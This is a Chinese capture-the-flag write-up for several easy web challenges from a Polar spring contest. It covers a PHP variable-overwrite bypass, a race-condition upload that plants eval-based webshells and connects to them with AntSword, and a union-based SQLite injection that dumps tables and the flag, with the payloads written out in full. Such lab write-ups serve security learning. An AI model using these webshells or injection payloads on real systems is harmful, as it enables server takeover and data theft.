Polar春季个人挑战赛WEB简单部分

The Gift

复制代码
<?php
  include 'config.php';

highlight_file(__FILE__);
error_reporting(0);

class ConfigModel {
  public $apiKey = ''; #存放生成的随机 Key
  public $isAdmin = false; #管理员权限标识,初始为 false
  public $requestTime = 0;

  public function __construct() {
    $this->requestTime = time();
    $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    #使用 IP + 随机数 + 盐值生成 MD5,理论上很难暴力破解
  }

  public function validateApiKey($inputKey) {
    if ($inputKey === $this->apiKey) {
      $this->isAdmin = true;
      # 只有 Key 正确,才会设置为 true
      return true;
    }
    return false;
  }
}

$config = new ConfigModel();

$requestData = array_merge($_GET, $_POST);
#合并 GET 和 POST 请求的数据
foreach ($requestData as $key => $value) {
  $$key = $value;
  #可变变量赋值
}

if (isset($user_api_key)) {
  $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
  die("Success" . $FLAG);
} else {
  echo "<br>Access Denied.";
}
?>
Access Denied.
复制代码
在 PHP 中,$config->isAdmin(访问对象属性)和 $config['isAdmin'](访问数组键值)是完全不同的
原本类定义里 isAdmin 是布尔值 false
但最后的 if 语句却要求 $config 必须是数组,且其值必须是字符串 'true'。
既然代码要求 $config 是数组,而我们又拥有"变量覆盖"的能力
我们直接把 $config 覆盖成它想要的数组即可
  payload:
config[isAdmin]=true

并发上传

复制代码
争用条件是一种常见的漏洞类型,与业务逻辑缺陷密切相关
当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况
这可能导致多个不同的线程同时与相同的数据进行交互,从而导致"冲突",从而导致应用程序中出现意外行为
争用条件攻击使用精心定时的请求来造成故意冲突,并利用这种意外行为来达到恶意目的

根据题目可知这是一道条件竞争题目

复制代码
GIF89a
<?=eval($_REQUEST['cmd']);?>

尝试第一种payload能上传但是不能查看,我们直接开始条件竞争

复制代码
<?php fputs(fopen("cmd.php","w"),'<?php @eval ($_POST["cmd"]); ?>'); ?>

同样进行配置

upload/shell.php

看到返回200即可

我们进行蚁剑连接

注意我们构造的payload用的是cmd.php

shell.php只是用来写入的,不要搞错了

成功获取flag

经过测试存在SQL注入

如何确定为什么数据库

|----------------|----------------------------------|------------------------------------------|
| 数据库类型 | 测试 Payload | 说明 |
| SQLite | sqlite_version() | 只有 SQLite 识别这个函数 |
| MySQL | version() 或 @@version | 虽然 Postgres 也用 version(),但 MySQL 常用 @@ |
| PostgreSQL | version() | 返回包含 "PostgreSQL" 字样的详细字符串 |
| MSSQL | @@version | 典型的 Microsoft SQL Server 标识 |
| Oracle | (select banner from v$version) | Oracle 语法较严苛,通常需要 from dual |

确定为sqlite数据库

复制代码
' union select 1,group_concat(tbl_name),3 from sqlite_master where type='table'--+

看不了列名,盲猜为flag

复制代码
' union select 1,flag,3 from flaggggggggggg--+
相关推荐
Jmyd01236 小时前
Web端3D营销展厅技术实现路径:从素材上云到线索回流的数据链路
前端·3d·性能优化·三维数字化
砚凝霜6 小时前
【软考信息安全】第二十二章 Web服务器安全分析与增强——Apache与IIS
服务器·前端·安全
u0111026758 小时前
JPG、PNG、WebP 怎么选?按透明度、体积和使用场景做判断
前端·javascript·vue.js·图像处理·ai作画
jerrywus9 小时前
让 AI 写完代码后交一份报告:我改造了 answer-me-with-html
前端·claude·cursor
派小心.9 小时前
小程序分享链路中来源参数的传递校验
大数据·前端·数据库·人工智能·小程序·数据分析
hhb_6189 小时前
一键生成数据看板,ECharts实战演示
前端·javascript·echarts
Java后端的Ai之路10 小时前
08_React组件API
前端·react.js·前端框架
小马不起床10 小时前
零基础玩转 FastAPI_09:前端基础工程构建
前端·状态模式·fastapi
jack1868910 小时前
安卓手机忘记锁屏密码怎么办? 无需密码也可解锁
android·智能手机
风骏时光牛马11 小时前
用户管理模块接口开发
前端